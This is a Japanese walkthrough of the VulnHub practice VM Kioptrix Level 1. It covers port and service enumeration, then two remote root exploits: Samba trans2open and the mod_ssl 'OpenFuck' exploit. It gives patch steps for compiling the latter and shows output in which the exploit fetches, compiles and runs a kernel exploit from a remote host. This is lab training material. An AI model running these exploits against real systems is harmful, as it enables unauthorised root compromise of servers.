【VulnHub】Kioptrix: Level 1 (#1) - Walkthrough -

「[Kioptrix: Level 1 (#1)](https://www.vulnhub.com/entry/kioptrix-level-1-1,22/)」は、「[Kioptrix](https://www.vulnhub.com/author/kioptrix,8/)」によって開発され、[VulnHub](https://www.vulnhub.com/)にて公開されているシリーズの一つです。

# リリース情報
名称: [Kioptrix: Level 1 (#1)](https://www.vulnhub.com/entry/kioptrix-level-1-1,22/)
リリース日: 2010年2月17日
シリーズ: [Kioptrix](https://www.vulnhub.com/series/kioptrix,8/)
作者: [Kioptrix](https://www.vulnhub.com/author/kioptrix,8/)
Twitter： [@loneferret](https://twitter.com/loneferret)

# Walkthrough
## 列挙
### 稼働しているIPアドレスの特定
ネットワーク内のIPアドレスを探すために、`netdiscover`コマンドを使用します。

```
root@kali:~# netdiscover -r 172.16.208.0/24

 Currently scanning: Finished!   |   Screen View: Unique Hosts                   
                                                                                 
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                 
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 172.16.208.1    00:50:56:c0:00:08      1      60  VMware, Inc.                  
 172.16.208.2    00:50:56:f3:32:8a      1      60  VMware, Inc.                  
 172.16.208.180  00:0c:29:7b:8d:43      1      60  VMware, Inc.                  
 172.16.208.254  00:50:56:ee:2c:f4      1      60  VMware, Inc.
```

これで、標的のIPアドレスが`172.16.208.180`であることが特定できました。

### 実行されているサービスの特定
次にどのサービスが実行されているのか特定を行います。ポートスキャンの実行です。`nmap -Pn -sS -sV -p 1-1024 172.16.208.180`コマンド構文を使用します。各オプションの狙いは、次の通りです。

-Pn: スキャンの前に行われるpingでの疎通確認をせずにスキャンします
-sS: TCPのSYNパケットを送ってSYN+ACKが返ってくるか調査します
-sV: サービスのバージョンスキャン
-p 1-1024: まずは、ウェルノウンポート（プロトコルが利用するために予約されている番号（1-1024）のみを探索対象とします）

```
root@kali:~# nmap -Pn -sS -sV -p 1-1024 172.16.208.180
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-21 14:22 JST
Nmap scan report for 172.16.208.180
Host is up (0.00012s latency).
Not shown: 1018 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd (workgroup: NMYGROUP)
443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:7B:8D:43 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.84 seconds
root@kali:~# 
```

これで、標的にて`22/tcp   open  ssh`、`80/tcp   open  http`、`111/tcp  open  rpcbind`、`139/tcp  open  netbios-ssn`、`443/tcp  open  ssl/https`、`1024/tcp open  status`のサービスが稼働していることが判明しました。

### ウェブサイトの診断
ウェブサイトの脆弱性を診断するために、`nikto`を使用してみます。

```
root@kali:~# nikto -h http://172.16.208.180/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          172.16.208.180
+ Target Hostname:    172.16.208.180
+ Target Port:        80
+ Start Time:         2019-08-21 14:24:22 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server leaks inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Thu Sep  6 12:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /test.php: This might be interesting...
+ 8345 requests: 0 error(s) and 21 item(s) reported on remote host
+ End Time:           2019-08-21 14:24:45 (GMT9) (23 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~# 
```

`nikto`コマンド結果から、mod_sslに関するリモートバッファオーバフローの脆弱性 [CVE-2002-0082](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082) が発見されました。


>mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.

さらに、攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。`dirb`コマンドを使用します。

```
root@kali:~# dirb http://172.16.208.180/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Aug 21 14:24:50 2019
URL_BASE: http://172.16.208.180/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://172.16.208.180/ ----
+ http://172.16.208.180/~operator (CODE:403|SIZE:273)                            
+ http://172.16.208.180/~root (CODE:403|SIZE:269)                                
+ http://172.16.208.180/cgi-bin/ (CODE:403|SIZE:272)                             
+ http://172.16.208.180/index.html (CODE:200|SIZE:2890)                          
==> DIRECTORY: http://172.16.208.180/manual/                                     
==> DIRECTORY: http://172.16.208.180/mrtg/                                       
==> DIRECTORY: http://172.16.208.180/usage/                                      
                                                                                 
---- Entering directory: http://172.16.208.180/manual/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://172.16.208.180/mrtg/ ----
+ http://172.16.208.180/mrtg/index.html (CODE:200|SIZE:17318)                    
                                                                                 
---- Entering directory: http://172.16.208.180/usage/ ----
+ http://172.16.208.180/usage/index.html (CODE:200|SIZE:3704)                    
                                                                                 
-----------------
END_TIME: Wed Aug 21 14:25:03 2019
DOWNLOADED: 13836 - FOUND: 6
root@kali:~# 
```

### HTTPサービスのスキャン
`dirb`コマンドの結果に基づいて、Firefoxブラウザを使ってアクセスしてみます。残念ながら、ここからは新たなヒントは得られませんでした。

* `/manual`ディレクトリ
<img width="758" alt="manual.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/60d41872-d493-c53c-95d4-7f6a038420a4.png">

* `/mrtg`ディレクトリ
<img width="758" alt="mrtg.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a2228172-1410-acac-a334-0e9ddf40422b.png">

* `/usage`ディレクトリ
<img width="758" alt="usage.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/7c59f538-b03f-554b-60c1-bcda254c9d4b.png">

### SMBの診断

ポートスキャンの結果から得られた`139/tcp  open  netbios-ssn`に注目し、SMBの脆弱性を診断します。まず、`nbtscan`コマンドを実行します。

```
root@kali:~# nbtscan 172.16.208.180
Doing NBT name scan for addresses from 172.16.208.180

IP address       NetBIOS Name     Server    User             MAC address      
------------------------------------------------------------------------------
172.16.208.180   KIOPTRIX         <server>  KIOPTRIX         00:00:00:00:00:00
root@kali:~# 
```

ここで、`IPC$ 共有`（null セッション接続）を試みてみます。`smbclient "//172.16.208.180\IPC$"`コマンド構文を実行します。匿名アクセスは可能ですが、ファイルの列挙まではできないようです。

```
root@kali:~# smbclient -L 172.16.208.180
WARNING: The "syslog" option is deprecated
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
Enter WORKGROUP\root's password: 

	Sharename       Type      Comment
	---------       ----      -------
	IPC$            IPC       IPC Service (Samba Server)
	ADMIN$          IPC       IPC Service (Samba Server)
Reconnecting with SMB1 for workgroup listing.
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful

	Server               Comment
	---------            -------
	KIOPTRIX             Samba Server

	Workgroup            Master
	---------            -------
	MYGROUP              KIOPTRIX
root@kali:~# smbclient "//172.16.208.180\IPC$"
WARNING: The "syslog" option is deprecated
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
```

### Samba探索
Sambaサービスの詳細を列挙してみましょう。`rpcclient`コマンドを実行します。シェルから`srvinfo`コマンドを実行してみます。残念ながら、Sambaサービスのバージョン特定には至りませんでした。

```
root@kali:~# rpcclient -U "" 172.16.208.180
Enter WORKGROUP\'s password: 
rpcclient $> srvinfo
	KIOPTRIX       Wk Sv PrQ Unx NT SNT Samba Server
	platform_id     :	500
	os version      :	4.5
	server type     :	0x9a03
rpcclient $> 
```

そこで、`Metasploit Framework`の`SMB Version Detection`を使用してみましょう。

```
root@kali:~# msfconsole
msf > use auxiliary/scanner/smb/smb_version 
msf auxiliary(scanner/smb/smb_version) > info

       Name: SMB Version Detection
     Module: auxiliary/scanner/smb/smb_version
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  hdm <x@hdm.io>

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  RHOSTS                      yes       The target address range or CIDR identifier
  SMBDomain  .                no        The Windows domain to use for authentication
  SMBPass                     no        The password for the specified username
  SMBUser                     no        The username to authenticate as
  THREADS    1                yes       The number of concurrent threads

Description:
  Display version information about each system

msf auxiliary(scanner/smb/smb_version) > set rhosts 172.16.208.180
rhosts => 172.16.208.180
msf auxiliary(scanner/smb/smb_version) > exploit

[*] 172.16.208.180:139    - Host could not be identified: Unix (Samba 2.2.1a)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_version) > 
```

>[*] 172.16.208.180:139    - Host could not be identified: Unix (Samba 2.2.1a)

### 列挙の結果
`Kioptrix: Level 1 (#1)`Boxでは、複数の攻撃ベクターから**アクセスの取得**または**特権の引き上げ**が狙えそうです。ここまでの結果についてまとめておきましょう。
※ SambaのExploitについては、後ほど特定していきます。

|サービス|バージョン|Exploit|
|:---|:---|:---|
|mod_ssl|2.8.4| [CVE-2002-0082](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082) |
|Samba|2.2.1a| [CVE-2003-0201](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0201) |

## アクセスの取得
## 特権の引き上げ
### Samba アプローチ
`searchsploit`コマンドを使って、[Exploit-DB](https://www.exploit-db.com/)に掲載されているexploitコードを検索してみましょう。出力結果を抑えるため、`searchsploit -w samba 2.2 Linux`構文を使用します。

```
root@kali:~# searchsploit -w samba 2.2 Linux
-------------------------------------- --------------------------------------------
 Exploit Title                        |  URL
-------------------------------------- --------------------------------------------
Samba 2.2.2 < 2.2.6 - 'nttrans' Remot | https://www.exploit-db.com/exploits/16321/
Samba 2.2.8 (Linux Kernel 2.6 / Debia | https://www.exploit-db.com/exploits/23674/
Samba 2.2.8 (Linux x86) - 'trans2open | https://www.exploit-db.com/exploits/16861/
Samba 2.2.8 - Brute Force Method Remo | https://www.exploit-db.com/exploits/55/
Samba 2.2.x - 'nttrans' Remote Overfl | https://www.exploit-db.com/exploits/9936/
Samba 2.2.x - Remote Buffer Overflow  | https://www.exploit-db.com/exploits/7/
Samba < 2.2.8 (Linux/BSD) - Remote Co | https://www.exploit-db.com/exploits/10/
-------------------------------------- --------------------------------------------
Shellcodes: No Result
root@kali:~# 
```

`10.c`([EDB-ID: 10](https://www.exploit-db.com/exploits/10))がRemote Code Executionのコードとして使えそうです。
また、`16861.rb`([EDB-ID: 16861](https://www.exploit-db.com/exploits/16861))もRemote Code Executionのコードとして使えそうです。
ここでは、`10.c`コードを使用します。`10.c`コードをホームディレクトにコピーし、`gcc`を使って実行できるようにコンパイルします。

```
root@kali:~# cp /usr/share/exploitdb/exploits/multiple/remote/10.c 10.c
root@kali:~# gcc 10.c -o trans2open
```

コンパイルされた`trans2open`コマンドを実行して、まずはエクスプロイトの実行に必要なスイッチを確認してみましょう。

```
root@kali:~# ./trans2open 
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
Usage: ./trans2open [-bBcCdfprsStv] [host]

-b <platform>   bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B <step>       bruteforce steps (default = 300)
-c <ip address> connectback ip address
-C <max childs> max childs for scan/bruteforce mode (default = 40)
-d <delay>      bruteforce/scanmode delay in micro seconds (default = 100000)
-f              force
-p <port>       port to attack (default = 139)
-r <ret>        return address
-s              scan mode (random)
-S <network>    scan mode
-t <type>       presets (0 for a list)
-v              verbose mode
```

では、実行してみましょう。コマンド構文は、`trans2open -b 0 172.16.208.180`です。root権限への昇格に成功しました。

```
root@kali:~# ./trans2open -b 0 172.16.208.180
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
whoami
root
```

### Apache mod_ssl アプローチ
`searchsploit`コマンドを使って、[Exploit-DB](https://www.exploit-db.com/)に掲載されているexploitコードを検索してみましょう。

```
root@kali:~# searchsploit mod_ssl
----------------------------------------- ----------------------------------------
 Exploit Title                           |  Path
                                         | (/usr/share/exploitdb/)
----------------------------------------- ----------------------------------------
Apache mod_ssl 2.0.x - Remote Denial of  | exploits/linux/dos/24590.txt
Apache mod_ssl 2.8.x - Off-by-One HTAcce | exploits/multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFu | exploits/unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFu | exploits/unix/remote/764.c
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9. | exploits/unix/remote/40347.txt
----------------------------------------- ----------------------------------------
Shellcodes: No Result
root@kali:~# 
```

`21671.c`([EDB-ID: 21671](https://www.exploit-db.com/exploits/21671))と`764.c`([EDB-ID: 764](https://www.exploit-db.com/exploits/764))がRemote Buffer Overflowのコードとして使えそうです。
ここでは、より新しい`764.c`コードを使用します。`764.c`コードをホームディレクトにコピーします。ソースコードの冒頭に次のコメントが記載されています。

```
root@kali:~# cp /usr/share/exploitdb/exploits/unix/remote/764.c 764.c
root@kali:~# head 764.c
/*
 * E-DB Note: Updating OpenFuck Exploit ~ http://paulsec.github.io/blog/2014/04/14/updating-openfuck-exploit/
 *
 * OF version r00t VERY PRIV8 spabam
 * Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
 * objdump -R /usr/sbin/httpd|grep free to get more targets
 * #hackarena irc.brasnet.org
 */

#include <arpa/inet.h>
root@kali:~# 
```

> E-DB Note: Updating OpenFuck Exploit ~ http://paulsec.github.io/blog/2014/04/14/updating-openfuck-exploit/

指定されたURL先を確認すると、Exploitコードの更新手順が記載されています。指示に従って、更新していきましょう。

<img width="1391" alt="paulsec.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/7284de7f-3a0a-7c80-478e-22b468c71cc7.png">

※ 2019年現在、「[PAULSEC'S BLOG](http://paulsec.github.io/blog/2014/04/14/updating-openfuck-exploit/)」記載の改変方法では正常にコンパイルできません。そこで、「[Hypn.za.net](https://www.hypn.za.net/blog/2017/08/27/compiling-exploit-764-c-in-2017/)」の記載内容を参照します。

```
764b.c:645:24: error: ‘SSL2_MAX_CONNECTION_ID_LENGTH’ undeclared here (not in a function)
764b.c:847:19: error: ‘SSL2_MT_ERROR’ undeclared (first use in this function)
764b.c:979:16: error: ‘SSL2_MT_SERVER_HELLO’ undeclared (first use in this function)
764b.c:1071:10: error: dereferencing pointer to incomplete type ‘EVP_PKEY {aka struct evp_pkey_st}’
764b.c:1148:16: error: ‘SSL2_MT_SERVER_VERIFY’ undeclared (first use in this function)
764b.c:1160:11: error: ‘SSL2_MT_CLIENT_FINISHED’ undeclared (first use in this function)
764b.c:1173:16: error: ‘SSL2_MT_SERVER_FINISHED’ undeclared (first use in this function)
```

#### 764.c コードの更新
* 1) ヘッダの追加

`764.c` コードの冒頭部分にて、以下の項目を追加する。

```764.c
#include <openssl/rc4.h>
#include <openssl/md5.h>

#define SSL2_MT_ERROR 0
#define SSL2_MT_CLIENT_FINISHED 3
#define SSL2_MT_SERVER_HELLO 4
#define SSL2_MT_SERVER_VERIFY 5
#define SSL2_MT_SERVER_FINISHED 6
#define SSL2_MAX_CONNECTION_ID_LENGTH 16
```

* 2) URLの更新

`764.c` コードにて`wget`の記述を検索（`nano`エディタで文字列検索する場合、編集画面で`^W`ショートカットキー）する。

<img width="742" alt="wget.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/dfc2b694-4457-6905-eebc-b6d002683e11.png">

当該箇所のURLを次の内容に変更する。

```764.c
http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
```

* 3) パラメータの置換 Part 1

`764.c` コードにて`get_server_hello`の記述を検索する。

<img width="742" alt="get_server_hello.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/9bce107e-9af1-ccbf-c974-192ee9ce895f.png">

`unsigned char *p, *end;`の記述を次の内容に変更する。

```764.c
const unsigned char *p, *end;
```

* 4) パラメータの置換 Part 2

`764.c` コードにて`EVP_PKEY_RSA`の記述を検索する。

<img width="732" alt="EVP_PKEY_RSA.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/c7b066b0-5e32-557d-14be-9e0fc620d11e.png">

次の内容に変更する。

```764.c
if (EVP_PKEY_get1_RSA(pkey) == NULL) {
```

* 5) パラメータの置換 Part 3

`764.c` コードにて`encrypted_key_length`の記述を検索する。

<img width="739" alt="encrypted_key_length.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a4fddebe-9e16-353a-e811-c73d4b8be7d3.png">

次の内容に変更する。

```764.c
encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], EVP_PKEY_get1_RSA(pkey), RSA_PKCS1_PADDING);
```

* 6) libssl-dev パッケージのインストール

`libssl-dev`パッケージをインストールします。

```
root@kali:~# apt-get install libssl-dev
```

* 7) ソースコードのコンパイル

```
root@kali:~# gcc -o OpenFuck2017 764.c -lcrypto
```

### Apache mod_ssl アプローチ: 続き
コンパイルされた`OpenFuck2017`コマンドを実行して、まずはエクスプロイトの実行に必要なスイッチを確認してみましょう。

```
root@kali:~# ./OpenFuck2017 

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

: Usage: ./OpenFuck2017 target box [port] [-c N]

  target - supported box eg: 0x00
  box - hostname or IP address
  port - port for ssl connection
  -c open N connections. (use range 40-50 if u dont know)
  

  Supported OffSet:
```

対応している`Supported OffSet:`は多岐にわたっています。そこで、このBoxの`nmap`コマンドの結果を再確認してみましょう。

```
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
```

この結果から、`Supported OffSet:`の値は`0x6a`または`0x6b`まで絞り込むことができました。

```
	0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
	0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
```

`Supported OffSet:`の値を`0x6a`に設定し、実行してみます。`Good Bye!`の表記からも解るとおり、残念ながらシェルの取得に失敗しました。

```
root@kali:~# ./OpenFuck2017 0x6a 172.16.208.180

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f80e0
Ready to send shellcode
Spawning shell...
Good Bye!
root@kali:~# 
```

次に、`Supported OffSet:`の値を`0x6b`に設定し、実行してみます。今度は、root権限への昇格に成功しました。

```
root@kali:~# ./OpenFuck2017 0x6b 172.16.208.180

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f80e0
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$ 
exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; net/0304- 
--07:58:22--  http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:80... connected!
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c [following]
--07:58:23--  https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]

    0K ...                                                   100% @   3.74 MB/s

07:58:24 (3.74 MB/s) - `ptrace-kmod.c' saved [3921/3921]

[+] Attached to 9889
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
whoami
root
```

## システム探索
「[Kioptrix: Level 1 (#1)](https://www.vulnhub.com/entry/kioptrix-level-1-1,22/)」では、`Flag`は`EMail`であるとヒントが指示されています。
root権限にて、`mail`コマンドを実行すると、`About Level 2`という件名のメールが未読であることが判明しました。

<img width="758" alt="proof.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/af4d85ef-dbd8-e76b-0f82-40cdc6f38856.png">

>Subject: About Level 2
>
If you are reading this, you got root. Congratulations.
Level 2 won't be as easy...

フラグの取得に成功しました。

# まとめ
1. `nmap`コマンドを使って、22番ポート、80番ポート、111番ポート、139番ポート、443番ポート、1024番ポートがオープン状態であることを確認しました。
2. `nbtscan`、`smbclient`、`rpcclient`にてSMBの診断を実施しました。
3. `Metasploit Framework`の`SMB Version Detection`を使ってバージョンを特定しました。
4. `searchsploit`コマンドを使って`trans2.c`内の`call_trans2open`関数のバッファーオーバーフローに関する脆弱性（[EDB-ID: 10](https://www.exploit-db.com/exploits/10), [CVE-2003-0201](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0201)）を特定し、特権昇格を行いました。
5. `searchsploit`コマンドを使って`mod_ssl`のバッファーオーバーフローに関する脆弱性（[EDB-ID: 764](https://www.exploit-db.com/exploits/764), [CVE-2002-0082](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082)）を特定し、特権昇格を行いました。

# Kioptrixシリーズ
|イメージ名|おすすめポイント|日本語解説（Walkthrough）|
|:---|:---|:---|
|[Kioptrix: Level 1 (#1)](https://www.vulnhub.com/entry/kioptrix-level-1-1,22/)|良質な学習教材である[Kioptrix](https://www.vulnhub.com/series/kioptrix,8/)シリーズの第一弾。リモートから到達可能な脆弱性でアクセス権を特定し、特権昇格を狙っていきます。アプリケーションの脆弱性を特定し、エクスプロイトコードを修正、コンパイルなども体験できる仮想イメージです。|[あり](https://qiita.com/v_avenger/items/de123fcd7a5686b7bc09)|
|[Kioptrix: Level 1.1 (#2)](https://www.vulnhub.com/entry/kioptrix-level-11-2,23/)|[Kioptrix](https://www.vulnhub.com/series/kioptrix,8/)シリーズの第二弾。ウェブアプリケーションに関する「SQLインジェクション（[CWE-89](https://jvndb.jvn.jp/ja/cwe/CWE-89.html)）」や「OSコマンドインジェクション（[CWE-78](https://jvndb.jvn.jp/ja/cwe/CWE-78.html)）」を手がかりにカーネルエクスプロイトコードによる特権昇格について体験できる仮想イメージです。|[あり](https://qiita.com/v_avenger/items/a67301b6608b2f772822)|
|[Kioptrix: Level 1.2 (#3)](https://www.vulnhub.com/entry/kioptrix-level-12-3,24/)|[Kioptrix](https://www.vulnhub.com/series/kioptrix,8/)シリーズの第三弾。「SQLインジェクション（[CWE-89](https://jvndb.jvn.jp/ja/cwe/CWE-89.html)）」を手がかりにsudo権限の乱用による特権昇格について体験できる仮想イメージです。|[あり](https://qiita.com/v_avenger/items/c458f1d38593b8a40fa2)|
|[Kioptrix: Level 1.3 (#4)](https://www.vulnhub.com/entry/kioptrix-level-13-4,25/)|[Kioptrix](https://www.vulnhub.com/series/kioptrix,8/)シリーズの第四弾。|N/A|
|[Kioptrix: 2014 (#5)](https://www.vulnhub.com/entry/kioptrix-2014-5,62/)|[Kioptrix](https://www.vulnhub.com/series/kioptrix,8/)シリーズの第五弾。|N/A|